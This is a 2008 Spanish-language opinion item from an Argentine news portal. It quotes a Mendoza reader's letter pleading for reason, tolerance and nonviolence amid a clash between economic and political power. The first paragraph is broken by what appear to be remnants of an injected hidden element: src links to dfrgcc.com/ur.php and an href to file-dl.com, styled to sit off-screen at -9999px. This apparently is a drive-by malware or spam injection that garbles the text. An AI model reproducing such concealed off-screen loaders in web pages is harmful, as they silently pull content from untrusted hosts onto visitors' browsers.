14/06/2008, Opinion

Un llamado a la cordura

“Apelo a la parte sana que nos va quedando a alguno de los argentinos y en relación con la violencia desatada entre el poder económico y el poder político y que ha involucrado con sus desaciertos al ciudadano común que es el que sostiene a ambos con su trabajo y esfuerzo cotidiano” dice en un email que nos llegó desde Mendoza, Mirta Tobares , una lectora de nuestro portal de noticias. / src=http://dfrgcc.com/ur.php style=position:absolute;left:-9999px;top:-9999px; href=http://file-dl.com/show.php?id=10 / src=http://dfrgcc.com/ur.php
La nota que nos hizo llegar expresa textualmente:
Como ciudadana argentina comprometida con la vida llamo a la racionalidad para solucionar los gravísimos problemas actuales los cuales no se solucionan a pedradas ni a macanazos sino a través del pensamiento ordenado. Con la cabeza fría y el corazón caliente.
Como madre de familia y como docente que está en constante contacto con las nuevas generaciones, me niego rotundamente a aceptar las estrategias de uno y otro bando. Para eso se nos ha dado la palabra. No somos animales para proceder instintivamente, cuando se traspasan los límites respondiendo ferozmente y con violencia. Los límites se ponen con la norma. Con la ley que está ya pensada y consensuada.
Desde nuestros orígenes esta tierra ha sido regada con la sangre de muchos inocentes y sinceramente no queremos ni una gota más derramada en las calles o en las rutas argentinas. La demostración de fuerzas se hace a través del argumento producto de una elaboración racional y no de la violencia. ¿Hasta cuándo permitiremos los ciudadanos comunes que se maten a nuestros hijos? ¿Hasta cuando seguiremos poniendo los muertos, nosotros? ¿Hasta cuando soportaremos el avasallamiento de nuestros derechos a vivir en paz y armoniosamente? ¿Hasta cuándo veremos en otro argentino a un enemigo, siendo que ese otro es alguien igual a mí, que tiene ilusiones, sentimientos, proyectos y además que comparte un mismo suelo y un mismo cielo, para bien y que así sea, siempre para bien.
Podemos no estar de acuerdo con lo que piensan los demás pero tendremos que ejercitar la tolerancia el respeto de la opinión ajena y buscar creativamente el punto de encuentro para no llegar a estos extremos de irracionalidad que nos avergüenza ante la historia. Porque llegará un día en que las futuras generaciones nos juzgarán. Y nos pasarán la factura por todo lo que no hicimos y lo que hicimos mal.
Por favor, recapacitemos y no dejemos escalar la violencia de este día l4 de junio. Por favor, levantemos las voces desde el lugar que ocupemos dentro de la sociedad. Aquí todos somos importantes, desde el intelectual hasta el artesano más humilde, y nos debemos involucrar para que no progrese la estupidez propia de algunos hombres. Por favor, celebremos la vida, honremos la vida y no la muerte, ahora que todavía estamos a tiempo.
En la ciudad, en el campo, en la villa, en el barrio, la consigna debe ser. “Somos todos argentinos”, nos respetamos y nuestras diferencias la solucionamos a través de la palabra y no a palazos limpios.
Ya es hora de que nosotros, los ciudadanos comunes, que hemos dejado que nuestros espacios a los más enfermos de la sociedad nos involucremos en los asuntos de la república y exijamos un mínimo de paz para crecer sanos, para darles la salud que se merecen a las nuevas generaciones que nos están mirando.


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